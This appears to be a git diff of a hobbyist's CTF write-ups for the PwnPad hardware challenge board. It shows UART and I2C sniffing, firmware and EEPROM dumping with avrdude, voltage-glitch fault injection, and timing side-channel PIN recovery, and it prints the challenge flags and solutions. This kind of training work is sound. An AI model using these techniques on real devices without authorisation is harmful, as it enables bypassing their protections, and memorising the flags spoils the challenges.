+ String targetStateStr = cmd.substring(second + 1);
+ bool targetState = (targetStateStr == "HIGH");
+ unsigned long startTime = millis();
+ while (digitalRead(pin) != targetState) {
+ delay(1);
+ }
+ unsigned long duration = millis() - startTime;
+ Serial.print("WAIT_RESULT:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.print(targetState ? "HIGH" : "LOW");
+ Serial.print(":");
+ Serial.println(duration);
+}
+
+// ------------------------------------------------------------------
+// Watch monitoring
+// ------------------------------------------------------------------
+void monitorWatchedPins() {
+ for (int i = 0; i < NUM_PINS; i++) {
+ if (watching[i] && isInput[i]) {
+ int pin = FIRST_PIN + i;
+ int currentState = digitalRead(pin);
+ if (currentState != lastState[i]) {
+ unsigned long now = millis();
+ unsigned long duration = now - lastChangeTime[i];
+ lastChangeTime[i] = now;
+ lastState[i] = currentState;
+ Serial.print("CHANGE:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.print(currentState == HIGH ? "HIGH" : "LOW");
+ Serial.print(":");
+ Serial.println(duration);
+ }
+ }
+ }
+}
diff --git a/docs/09_header_pins.png b/docs/09_header_pins.png
new file mode 100644
index 0000000..6b970b5
--- /dev/null
+++ b/docs/09_header_pins.png
Binary files differ
diff --git a/01.md b/01.md
new file mode 100644
index 0000000..bee686a
--- /dev/null
+++ b/01.md
@@ -0,0 +1,23 @@
+# **Challenge 1: "Serial Snitch"**
+
+As a skilled hardware hacker, you've intercepted a mysterious device recovered from a rogue tech syndicate. The device, dubbed **"Specter-1"**, controls access to a secret underground server, but its interface remains locked behind an unknown UART configuration.
+
+Your mission is clear:
+
+1. **Identify the UART pins** you've uncovered during your investigation.
+2. **Determine the correct baud rate** to establish a stable connection.
+3. **Access the device’s command interface** and unlock control over the system’s lighting grid.
+
+## Setup
+
+
+
+## Notes
+
+The baudrate was a standard one, simply connecting the right wires and using the correct baudrate I was able to gain access (and the flag)
+
+Of course I made a glitch-o-bolt config for this: [01_GoB_config.py](docs/01_GoB_config.py)
+
+It looks as follows:
+
+
\ No newline at end of file
diff --git a/02.md b/02.md
new file mode 100644
index 0000000..4a2fa20
--- /dev/null
+++ b/02.md
@@ -0,0 +1,46 @@
+# **Challenge 2: "Echo Chamber"**
+
+Following the success of your first infiltration, you've intercepted another device from the same syndicate. This one seems almost identical — same pinout, same behavior — but something’s off. Your usual tools can’t make sense of the UART output. It looks like the engineers behind this one were clever enough to **obfuscate communication by using a non-standard baud rate**.
+
+The challenge is a test of patience and precision. You'll need to **analyze the signal itself** to get in.
+
+**Your mission is clear:**
+
+1. **Identify the UART pins** using your probing tools.
+2. **Determine the correct (non-standard) baud rate** via signal analysis.
+3. **Establish a reliable terminal connection** and extract the flag from the interface.
+
+## Setup
+
+
+
+## Notes
+
+I started by running logic to capture the transmissions with the logic analyser
+
+
+
+Some simple math to determine the baud rate from the pulse width: (or ask chatGPT like I did)
+
+Baud rate calculation
+
+**Given:** Bit duration = 32 microseconds = 32 × 10⁻⁶ seconds
+
+**Formula:** Baud rate = 1 / bit duration
+
+**Calculation:** Baud rate = 1 / (32 × 10⁻⁶)\
+Baud rate = 31,250 baud
+
+**Answer:** 31,250 baud
+
+Whip up a quick glitch-o-bolt config: [02_GoB_config.py](docs/02_GoB_config.py)
+
+This results in:
+
+
+
+This could also be checked direcectly in logic:
+
+
+
+(Reading source I know the baud rate is supposed to be 31337)
\ No newline at end of file
diff --git a/03.md b/03.md
new file mode 100644
index 0000000..96d14fd
--- /dev/null
+++ b/03.md
@@ -0,0 +1,25 @@
+# **Challenge 3: "Bus Whisperer"**
+
+Deep inside an abandoned research lab, you’ve discovered a prototype security device. It appears to be communicating with hidden components over an **I2C bus**. The traffic is silent to the untrained eye, but with the right tools, you can eavesdrop on the device's conversations and uncover what it's hiding.
+
+**Your mission is clear:**
+
+1. **Identify the I2C communication lines** used by the device.
+2. **Identify all connected I2C devices** the system is interacting with.
+3. **Retrieve** the hidden message embedded in the communication.
+
+## Setup
+
+
+
+## Notes
+
+Fairly simple. wire up the logic analyser, capture and decode:
+
+
+
+That decodes to:
+
+```
+TS{(h@||eng3_07P_i5_1951556615}
+```
\ No newline at end of file
diff --git a/04.md b/04.md
new file mode 100644
index 0000000..05e1bbd
--- /dev/null
+++ b/04.md
@@ -0,0 +1,33 @@
+# **Challenge 4: "Invisible Wires"**
+
+You’ve infiltrated a secure facility to extract a prototype device believed to hold critical secrets. After ripping the main board from its casing and making your escape, a sudden realization hits (**you left a secondary board behind**), still wired in and powered.
+
+Unexpectedly, the stolen board is trying to communicate with its twin over **I2C**, as if expecting a response. It’s time to turn the tables: tap into the bus, reverse the dialogue, and extract what it’s trying to say.
+
+**Your mission is clear:**
+
+1. **Identify the I2C lines** used for board-to-board communication.
+2. **Reverse engineer the protocol** or expected responses from the second board.
+3. **Emulate or spoof the missing board** to trigger a flag or secret message.
+
+## Setup
+
+
+
+## Notes
+
+Fire up the logic analyzer and see it's lookign for a device with a specific address:
+
+
+
+So I made a small arduino sketch to emulate this: [04_arduino.ino](docs/04_arduino.ino)
+
+The next time I checked the logic analyzer:
+
+
+
+This decodes to:
+
+```
+TS{1_N33D_/\/\y_8u66y}
+```
\ No newline at end of file
diff --git a/05.md b/05.md
new file mode 100644
index 0000000..9440047
--- /dev/null
+++ b/05.md
@@ -0,0 +1,181 @@
+# **Challenge 5: "Code Heist"**
+
+In a high-tech underground bunker, you've stumbled upon a **security keypad** linked to a classified device. The rumors suggest that entering a **hidden password** will unlock a **secret mode**, but there’s a catch—the password isn’t documented anywhere.
+
+However, your investigation reveals that the device’s firmware is stored in the internal **Flash memory**, and there’s a chance that the password is hardcoded within. If you can extract the firmware, you just might be able to pull off the ultimate **code heist**.
+
+**Your mission is clear:**
+
+1. **Dump the firmware** from the internal Flash memory using available debugging or ISP interfaces.
+2. **Analyze the firmware binary** to locate and recover the hardcoded password.
+3. **Use the password on the keypad** to unlock the device’s secret mode and retrieve the flag.
+
+## Setup
+
+
+
+## Notes
+
+I used a seperate arduino with the "Arduino as ISP" sketch loaded and pulled the chip from the PwnPad which was then put in to a second spare arduino. The following was used to confirm that the atmega328p could be read:
+
+```
+$> avrdude -v -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -n
+
+avrdude: Version 7.1
+ Copyright the AVRDUDE authors;
+ see https://github.com/avrdudes/avrdude/blob/main/AUTHORS
+
+ System wide configuration file is /etc/avrdude.conf
+ User configuration file is /root/.avrduderc
+ User configuration file does not exist or is not a regular file, skipping
+
+ Using Port : /dev/ttyACM0
+ Using Programmer : arduino
+ Overriding Baud Rate : 19200
+ AVR Part : ATmega328P
+ Chip Erase delay : 9000 us
+ PAGEL : PD7
+ BS2 : PC2
+ RESET disposition : possible i/o
+ RETRY pulse : SCK
+ Serial program mode : yes
+ Parallel program mode : yes
+ Timeout : 200
+ StabDelay : 100
+ CmdexeDelay : 25
+ SyncLoops : 32
+ PollIndex : 3
+ PollValue : 0x53
+ Memory Detail :
+
+ Block Poll Page Polled
+ Memory Type Alias Mode Delay Size Indx Paged Size Size #Pages MinW MaxW ReadBack
+ ----------- -------- ---- ----- ----- ---- ------ ------ ---- ------ ----- ----- ---------
+ eeprom 65 20 4 0 no 1024 4 0 3600 3600 0xff 0xff
+ flash 65 6 128 0 yes 32768 128 256 4500 4500 0xff 0xff
+ lfuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ hfuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ efuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ lock 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ signature 0 0 0 0 no 3 1 0 0 0 0x00 0x00
+ calibration 0 0 0 0 no 1 1 0 0 0 0x00 0x00
+
+ Programmer Type : Arduino
+ Description : Arduino for bootloader using STK500 v1 protocol
+ Hardware Version: 2
+ Firmware Version: 1.18
+ Topcard : Unknown
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+
+avrdude done. Thank you.
+```
+
+Then pull the firmware:
+
+```
+$> avrdude -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -U flash:r:flash_dump.bin:r
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+avrdude: reading flash memory ...
+
+Reading | ################################################## | 100% 20.92 s
+
+avrdude: writing output file flash_dump.bin
+
+avrdude done. Thank you.
+```
+
+Instead of loading the firmware in ghidra or another reversing tool I simply ran strings against it to find some low hanging fruit:
+
+```
+$> strings flash_dump.bin
+ h>s@
+/_?O/s3'
+IUZO
+E+F+G+i
+/_?Oy
+ h1P
+!P1 A Q V
+#+$+%+y
+G.Q,a,q,
+E.Q,a,q,
+C.Q,C
+d.q,N
+O.Q,a,q,
+&.1,s
+G.Q,
+n.q,N
+/_?OY
+(P1
+.P1
+'*0Q
+?OOO_O
+"P1 9
+N__O$
+N__O
+"P1
+Q,A,
+APP@
+SECRET MODE UNLOCKED: TS{F1rmw@re_S3cret}
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
++=========== Welcome To The UART Challenge ===========+
+| You Successfully Identified The Baudrate |
+| You Can Now Control The LEDS |
+| TS{U@rt_15_@w3s0m3} |
++=====================================================+
+SELECT LED (1/2/3) >
+Error Wrong Id !
+SELECT STATUS (0/1) >
+Something Went Wrong!
+TS{N0w_Y0u_@r3_@n_el173_H@(k3r}
+TS{(h@||eng3_07P_i5_
+TS{1_N33D_/\/\y_8u66y}
+I will never tell you my secret !
+TS{Gl1th3s_@r3_Awe50m3_!}
+---------------------
+cnt:
+Hahaha, I changed my trigger go and find it
+TS{0h_n0_y0u_foun6_my_7r1gg3r}
+You will never enter my vault!
+TS{Y0u_3nter36_th3_v@ul7}
+You are no good enough
+TS{D@mn_y0u_@r3_g006}
+Welcome to my Login Interface!
+You managed to identify my UART baudrate, now please login.
+[+] Please Provide Your Password:
+Please Enter Your 8 Digit PIN:
+TS{D0n7_M355_w17h_t1m3}
+[-] Wrong PIN!
+No Challenge Selected!
+[-] Login FAILED
+TS{L0gin_Succ355fu1_!}
+d3@1bt7*0PqSxc9~^
+25315294
+355fu1_!}
+[-] Login FAILED
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
+d3@1bt7*0PqSxc9~^
+25315294
+Password:
+Please Enter Your 8 Digit PIN:
+TS{D0n7_M355_w17h_t1m3}
+[-] Wrong PIN!
+No Challenge Selected!
+[-] Login FAILED
+TS{L0gin_Succ355fu1_!}
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
+d3@1bt7*0PqSxc9~^
+25315294
+$N__O
+```
+
+Wow loads of flags! we know that we need to find the morese code as that can be input via UART:
+
+
+
+I wasnt convinced that was the intended way of doing it, so I also pulled the firmware using the headers on the board, that setup looked like:
+
+
\ No newline at end of file
diff --git a/06.md b/06.md
new file mode 100644
index 0000000..a55dd6c
--- /dev/null
+++ b/06.md
@@ -0,0 +1,76 @@
+# **Challenge 6: "Hard Leak"**
+
+You've managed to extract a mysterious device from a corporate blacksite. After digging into the firmware, you realize there's **nothing useful stored in Flash**, but there's one more place secrets like to hide: the **internal EEPROM**.
+
+**Your mission is clear:**
+
+1. **Identify how to access the internal EEPROM** of the device using ISP or other means.
+2. **Recover the hidden flag** from the leaked EEPROM data.
+
+## Setup
+
+
+
+## Notes
+
+This was basically the same as the previous challenge. Pull the eeprom instead of the flash:
+
+```
+$> avrdude -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -U eeprom:r:eeprom_dump.hex:i
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+avrdude: reading eeprom memory ...
+
+Reading | ################################################## | 100% 4.14 s
+
+avrdude: writing output file eeprom_dump.hex
+
+avrdude done. Thank you.
+```
+
+Echo the file to reads it's contents:
+
+```
+$> cat eeprom_dump.hex
+:2000000054537B33335052304D5F69355F66756E5F217DFFFFFFFFFFFFFFFFFFFFFFFFFFA4
+:20002000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE0
+:20004000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFC0
+:20006000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFA0
+:20008000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF80
+:2000A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF60
+:2000C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF40
+:2000E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF20
+:20010000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
+:20012000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDF
+:20014000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBF
+:20016000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9F
+:20018000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7F
+:2001A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5F
+:2001C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3F
+:2001E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1F
+:20020000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE
+:20022000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDE
+:20024000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBE
+:20026000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9E
+:20028000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7E
+:2002A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5E
+:2002C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3E
+:2002E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1E
+:20030000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFD
+:20032000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDD
+:20034000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBD
+:20036000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9D
+:20038000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7D
+:2003A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D
+:2003C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3D
+:2003E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1D
+:00000001FF
+```
+
+Convert the hex string that stands out at the begining: (54537B33335052304D5F69355F66756E5F217D)
+
+```
+$> grep -oP ':[0-9A-F]{8}\K[0-9A-F]+' eeprom_dump.hex | tr -d '\n' | xxd -r -p | strings
+TS{33PR0M_i5_fun_!}
+```
diff --git a/07.md b/07.md
new file mode 100644
index 0000000..a84a949
--- /dev/null
+++ b/07.md
@@ -0,0 +1,26 @@
+# **Challenge 7: "Power Trip"**
+
+You’ve discovered a device that appears locked down tight, every known interface rejects your commands. But somehow you find a **code block that’s never supposed to execute**, likely due to built-in protection checks.
+
+By carefully injecting a **voltage glitch** at the right moment, you might be able to **bypass those checks** and force the device into revealing its hidden path. The **SDA pin** serves as your glitch trigger, and if successful, the device will spill the flag over **UART @ 9600 baudrate**.
+
+**Your mission is clear:**
+
+1. **Identify the timing window** during which to trigger the voltage glitch.
+2. **Inject a glitch using the SDA pin as your trigger source.**
+3. **Access the dead code block** and retrieve the flag via UART at 9600 baudrate.
+
+## Setup
+
+
+
+## Notes
+
+Start by logic analyzing the pins:
+
+
+
+Use the pulse on an input pin of the curious bolt as a trigger to cause the glitch.\
+Made easier with the Glitch-o-Bolt config: [07_GoB_config.py](docs/07_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/08.md b/08.md
new file mode 100644
index 0000000..ce1324d
--- /dev/null
+++ b/08.md
@@ -0,0 +1,25 @@
+# **Challenge 8: "Glitch Storm"**
+
+Building on the success of the **Power Trip** challenge, you are once again faced with the same challenge. The goal remains the same, **trigger a voltage glitch to enter a hidden code path and retrieve the flag**.
+
+However, the catch this time is that the glitch trigger is no longer the obvious SDA pin. You must **discover the new trigger pin and timing** to successfully glitch the device.
+
+**Your mission is clear:**
+
+1. **Analyze the device to identify the new glitch trigger.**
+2. **Precisely time and inject the voltage glitch at the discovered trigger.**
+3. **Access the hidden code block and extract the flag over UART.**
+
+## Setup
+
+
+
+## Notes
+
+This was basically the same as the previous one. After probing around to find what was giving a clock-esque signal (it was pretty obvious) I checked with the logic analyzer:
+
+
+
+Created a similar Glitch-o-Bolt config: [08_GoB_config.py](docs/08_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/09.md b/09.md
new file mode 100644
index 0000000..7fe1fa2
--- /dev/null
+++ b/09.md
@@ -0,0 +1,64 @@
+# **Challenge 9: "Clock Spy"**
+
+You’ve uncovered a high-security vault guarded by a keypad that requires a 5-digit PIN. When the PIN is entered and the OK button pressed, the system checks the password internally.
+
+Your task is to perform a **timing side-channel attack** to recover the PIN as quickly and efficiently as possible. But beware — the PIN **changes every time the device reboots**, adding an extra layer of complexity to your attack.
+
+> **Disclaimer:**
+> Normally, side-channel attacks require expensive equipment such as oscilloscopes and specialized tooling like a ChipWhisperer. However, we have intentionally added specific delays so these attacks can be performed using a **very affordable logic analyzer**.
+
+**Your mission is clear:**
+
+1. **Observe and measure timing variations** during the PIN verification process.
+2. **Use side-channel analysis techniques** to deduce each digit of the PIN.
+3. **Recover the correct 5-digit PIN before the device resets.**
+4. **Retrieve the flag via UART at 9600 baud rate.**
+
+## Setup
+
+
+
+## Notes
+
+I decided to add some header pins from the resistors and buttons for easier debugging:
+
+
+
+The LED flashed once the first incorrect pin was found, there was a small delay between each pin check, thereby we could dissern each pin one after the other. e.g.:
+
+|pin attempt|time|notes|
+|---|---|---|
+|1111|005ms||
+|2222|**010ms**|"2" must be correct as took longest|
+|3333|050ms||
+|2111|**015ms**|"21" took longest of 2nd digit choices|
+|2222|010ms||
+|2333|010ms||
+
+... and so on until the code is worked out.
+
+I hooked up the logic aanalyser to the ok button and the LED. The LED on the lower trace:
+
+
+
+So I didnt have to push the buttons manually (because that would have been a disaster) I wired up the arduino to the buttons and LED and created an arduino sketch to ineract with input and output pins and time when pins go high/low: [arduino code](docs/09_arduino.ino)
+
+I also created a python class to talk to the arduino: [arduinIO](docs/arduinIO.py)
+
+This was all tied together with of course, a glitch-o-bolt config: [glitch-o-bolt config](docs/09_GoB_config.py)
+
+With the logic analyzer still hooked up it was possible to see the delay buy usign the timing markers on the start of the button press and the start of the LED turning off:
+
+
+
+This demonstrates the time between ".", "-" and " " (symbolized as "\*") for identifying the first character
+
+
+
+The second char
+
+
+
+And of course the glitch-o-bolt solution:
+
+
\ No newline at end of file
diff --git a/10.md b/10.md
new file mode 100644
index 0000000..6ca199c
--- /dev/null
+++ b/10.md
@@ -0,0 +1,22 @@
+# **Challenge 10: "Tempo Leak"**
+
+This challenge builds on the mechanics of **Clock Spy**, but with a twist. The device now uses a **4-digit PIN**, and the password verification is only triggered **after all four digits have been entered**.
+
+Your goal remains a **timing side-channel attack** to recover the PIN. The change in input handling means you’ll need to adjust your analysis techniques accordingly.
+
+**Your mission is clear:**
+
+1. **Capture and analyze timing data** during the full 4-digit PIN entry.
+2. **Leverage timing variations** to deduce the complete PIN.
+3. **Recover the PIN and bypass the security check.**
+4. **Retrieve the flag via UART at 9600 baud rate.**
+
+## Setup
+
+
+
+## Notes
+
+This was very similar to the previous one. Minor tweaks to the glitch-o-bolt config: [glitch-o-bolt config](docs/10_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/11.md b/11.md
new file mode 100644
index 0000000..15b5a25
--- /dev/null
+++ b/11.md
@@ -0,0 +1,96 @@
+# **Challenge 11: "Chaos Chain: Glitchgate"**
+
+Welcome to the **Glitchgate** arena, where you get no schematics, no source code, and only the bare device in front of you. Your goal is to break in by chaining multiple hardware attack techniques.
+
+This challenge combines two major hurdles:
+- An **obscure UART baud rate** that you must identify to establish communication.
+- A **fault injection attack** that bypasses the UART login screen, granting unauthorized access.
+
+You’ll need to carefully analyze the device, discover the correct UART settings, and time your glitch precisely to defeat its defenses.
+
+**Your mission is clear:**
+
+1. **Identify the obscure UART baud rate** used by the device.
+2. **Bypass the UART login screen** via a fault injection.
+3. **Gain control of the device and retrieve the flag through the UART interface.**
+
+## Setup
+
+
+
+## Notes
+
+Start much like challenge #2 and analyze the traffic to identify the pulse width:
+
+
+
+**Quick math:**\
+Baud rate = 1 / bit time\
+Bit time = 1 microsecond = 1 × 10⁻⁶ seconds\
+Baud rate = 1 / (1 × 10⁻⁶) = 1 000 000 baud
+
+**Answer:** The UART baud rate is 1 000 000 baud (1 Mbps).
+
+
+lets check that:
+
+
+
+It already has a hardcoded password.\
+It sets a variable to 1 (the correct password variable).\
+You input a string and it will read up until "\r".\
+For each letter of the hardcoded password it will check the corresponding letter of the input string, if it doesnt match then it sets the variable to 0 (password incorrect).\
+Once this has complete it checks the variable and either returns the flag or an error message.\
+That looks as follows:
+
+```
+void blackbox_chain_UART_Glitch_Attack(void){
+ const char password[] = "-redacted-"; // orig 17 chars
+ Serial.begin(900847); // dbeef
+ Serial.println("\nWelcome to my Login Interface!");
+ Serial.println("You managed to identify my UART baudrate, now please login.");
+ Serial.println("[+] Please Provide Your Password:");
+
+ while(1){
+ Serial.flush();
+ if (Serial.available() > 0) {
+ char provided_password[strlen(password)];
+ Serial.readBytesUntil('\n', provided_password, strlen(password));
+ int success = 1;
+ for (int i = 0; i < strlen(password); i++) {
+ if (provided_password[i] != password[i]) {
+ success = 0;
+ break;
+ }
+ }
+
+ if (success == 1) {
+ Serial.println("-redacted flag-");
+ Serial.flush();
+ exit(0);
+ } else {
+ Serial.println("[-] Login FAILED");
+ Serial.println("[+] Please Provide Your Password:");
+ }
+ }
+ }
+}
+```
+
+It seems like there are a few potential glitch places:
+
+`if (success == 1) {` - have to get crazy lucky to glitch this comparison or glitch the variable “success” to be 1!
+
+`Serial.println("[-] Login FAILED");` - could glitch the pointer to the string and it echos another memory location (hopefully the flag) - insanely unlikley
+
+`for (int i = 0; i < strlen(password); i++) {` - if could glitch the loop so skips over it entirely and “success” would stay 1
+
+Of course I wrote a glitch-o-bolt script to brute-force this: [glitch-o-bolt config](docs/11_GoB_config.py)
+
+The watchdog is there because sometimes it glitched into a state that caused it to stop responding, if it doesnt respond for 2 seconds then the watchdog will restart the device (with a long glitch).
+
+I didnt get it to bypass the check or echo the flag. I think given enough time it will, theres got to be a better way of doing this?
+
+It did echo the previous challenges flag a lot (I guess it was in the memory, or at an address where one bit flip pointed to or somesuch)
+
+
\ No newline at end of file
diff --git a/12.md b/12.md
new file mode 100644
index 0000000..1bf3787
--- /dev/null
+++ b/12.md
@@ -0,0 +1,87 @@
+# **Challenge 12: "Chaos Chain: Timebomb"**
+
+In this final Black Box CTF challenge, the device steps up the difficulty:
+- The **UART pins have been relocated**, so you must manually identify the correct pins.
+- The UART communication runs at a **non-common baud rate**, adding an extra layer of complexity.
+- After establishing communication, you must perform a **timing side-channel attack** to extract the secret.
+
+Only the most persistent and observant hackers will succeed.
+
+**Your mission is clear:**
+
+1. **Identify the relocated UART pins** through careful probing.
+2. **Determine the obscure UART baud rate** used by the device.
+3. **Perform a timing side-channel attack** to retrieve the hidden flag via UART.
+
+## Setup
+
+
+
+## Notes
+
+The first step was probing around until I found the correct UART pins, once I did, I then hooked up some clips to the logic analyzer:
+
+
+
+This gave the following:
+
+
+
+I then traced the chip pins to the header pins on the board and hooked up the board to look like the setup picture above.
+
+Maths that pulse width:\
+Baud rate = 1 / bit time\
+Bit time = 833.75 microseconds = 833.75 × 10⁻⁶ seconds\
+Baud rate = 1 / (833.75 × 10⁻⁶) = 1 199.1004 baud
+
+**Answer:** The UART baud rate is approximately 1 199 baud.
+
+For this one I didnt use glitch-o-bolt, instead opting for a standalone python script: [12_solution.py](docs/12_solution.py)\
+The full solution output can be read here: [12_solution.txt](docs/12_solution.txt)
+
+But to summarize:
+
+```
+[INFO] Analysing position 6/8
+[RESULT] Candidate '0' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1021.00 ms
+[RESULT] Candidate '3' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '4' average LOW-delay: 1010.00 ms
+[RESULT] Candidate '5' average LOW-delay: 1009.00 ms
+[RESULT] Candidate '6' average LOW-delay: 1012.00 ms
+[RESULT] Candidate '7' average LOW-delay: 1012.00 ms
+[RESULT] Candidate '8' average LOW-delay: 1013.00 ms
+[RESULT] Candidate '9' average LOW-delay: 1010.00 ms
+[INFO] Position 6 selected: '2' (avg 1021.00 ms)
+
+ ┌───────────────────────────────┐
+ │ Progress: 253152 │
+ └───────────────────────────────┘
+
+[INFO] Analysing position 7/8
+[RESULT] Candidate '0' average LOW-delay: 1020.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1020.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '3' average LOW-delay: 0.00 ms
+[RESULT] Candidate '4' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '5' average LOW-delay: 1021.00 ms
+[RESULT] Candidate '6' average LOW-delay: 1019.00 ms
+[RESULT] Candidate '7' average LOW-delay: 1023.00 ms
+[RESULT] Candidate '8' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '9' average LOW-delay: 1032.00 ms
+[INFO] Position 7 selected: '9' (avg 1032.00 ms)
+
+ ┌───────────────────────────────┐
+ │ Progress: 2531529 │
+ └───────────────────────────────┘
+
+[INFO] Analysing position 8/8
+[RESULT] Candidate '0' average LOW-delay: 1031.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1032.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1032.00 ms
+[RESULT] Candidate '3' average LOW-delay: 1030.00 ms
+[SUCCESS] Device accepted code via UART: TS{D0n7_M355_w17h_t1m3} -> 25315294
+[SUCCESS] Discovered PIN: 25315294
+[INFO] Connections closed
+```
\ No newline at end of file
diff --git a/README.md b/README.md
new file mode 100644
index 0000000..3a25cd4
--- /dev/null
+++ b/README.md
@@ -0,0 +1,33 @@
+12Sec CTF - PwnPad v1.0
+===============
+
+This is where I am storing my documentation and solutions for the PwnPad CTF.
+
+>**There are spoilers here, if you dont want to read spoilers/solutions/flags then turn away now**
+>
+> You have been warned.
+>
+> **THIS REPO CONTAINS SPOILERS**
+
+That being said the solutions I have come up with may not be the intended solution, but they are what worked for me.
+
+## Status
+
+|done|#|Name|Topics|Description|
+|---|---|---|---|---|
+|[x]|[01](01.md)|Serial Snitch|`#UART`|Intercept and decode UART communication.|
+|[x]|[02](02.md)|Echo Chamber|`#UART`|Intercept and decode UART communication, with security through obscurity.|
+|[x]|[03](03.md)|Bus Whisperer|`#I2C`|Spy on I2C traffic to extract secrets.|
+|[x]|[04](04.md)|Invisible Wires|`#I2C`|Attack I2C when slave devices are missing.|
+|[x]|[05](05.md)|Code Heist|`#SPI` `#ISP` `#Flash` `#UART`|Dump and analyze firmware from flash.|
+|[x]|[06](06.md)|Hard Leak|`#SPI` `#ISP` `#EEPROM`|Extract data from the internal EEPROM.|
+|[x]|[07](07.md)|Power Trip|`#FaultInjection` `#UART`|Use glitching to bypass dead code statements.|
+|[x]|[08](08.md)|Glitch Storm|`#FaultInjection` `#UART`|Use glitching to bypass password verification.|
+|[x]|[09](09.md)|Clock Spy|`#SideChannel` `#UART`|Leak secrets using timing variations.|
+|[x]|[10](10.md)|Tempo Leak|`#SideChannel` `#UART`|Leak secrets using timing variations with a twist.|
+|[ ]|[11](11.md)|Chaos Chain: Glitchgate|`#FaultInjection` `#UART` |Combine UART and glitch attacks to break in.|
